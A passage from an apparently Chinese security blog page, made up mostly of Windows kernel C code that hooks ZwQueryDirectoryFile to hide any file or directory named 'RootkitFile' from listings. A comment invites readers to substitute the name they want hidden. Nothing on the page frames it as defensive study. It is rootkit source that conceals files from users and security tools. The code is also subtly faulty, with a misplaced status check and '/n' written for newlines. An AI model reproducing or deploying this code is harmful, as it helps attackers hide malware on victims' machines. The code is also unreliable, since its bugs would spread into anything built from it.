 ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 }
}
 
 
 
 
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 PVOID result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
break;
 case FileFullDirectoryInformation:
 result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileIdFullDirectoryInformation:
 result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileBothDirectoryInformation:
 result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileIdBothDirectoryInformation:
 result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileNamesInformation:
 result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
 break;
 }
 return result;
}
 
 
 
 
 
 
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 ULONG result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
 result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
 break;
 case FileFullDirectoryInformation:
 result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileIdFullDirectoryInformation:
 result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileBothDirectoryInformation:
 result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileIdBothDirectoryInformation:
 result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileNamesInformation:
 result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
 break;
 }
 return result;
}
 
 
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan )
{
//首先,调用原始函数执行获取打开文件或目录得到信息
NTSTATUS ntStatus = OldZwQueryDirectoryFile(
 FileHandle,
 Event,
 ApcRoutine,
 ApcContext,
 IoStatusBlock,
 FileInformation,
 Length,
 FileInformationClass,
 ReturnSingleEntry,
 FileMask,
 RestartScan);
DbgPrint("进入自己定义的函数内,并成功执行原函数代码\n");
 
 
//这里判定函数是否执行成功,而且获取的是否是文件或目录
if(NT_SUCCESS(ntStatus) && 
 FileInformationClass == FileDirectoryInformation ||
 FileInformationClass == FileFullDirectoryInformation ||
 FileInformationClass == FileIdFullDirectoryInformation ||
 FileInformationClass == FileBothDirectoryInformation ||
 FileInformationClass == FileIdBothDirectoryInformation ||
 FileInformationClass == FileNamesInformation 
 )
{
 PVOID p = FileInformation;
 PVOID pLast = NULL;
 DWORD pLastOne = 0;
 KdPrint(("<--------/n"));
 do{
  pLastOne = GetNextEntryOffset(p,FileInformationClass);
  KdPrint(("[*]Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));
   
  if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"RootkitFile", 16 ) == 16 )//RootkitFile改为自己想要隐藏的文件名和目录名
  {
KdPrint(("[-]Hide...../n"));
KdPrint(("[-]现在在目录下看不到RootkitFile命名的目录和文件了/n"));
if(pLastOne == 0)
{
if (p == FileInformation)
ntStatus = STATUS_NO_MORE_FILES;
else
SetNextEntryOffset(pLast,FileInformationClass, 0);
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pLastOne;
RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",
 iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
continue;
}
  }
  pLast = p;
  p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));
 }while (pLastOne != 0);
 KdPrint(("-------->/n"));
}
return ntStatus;
}

 

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...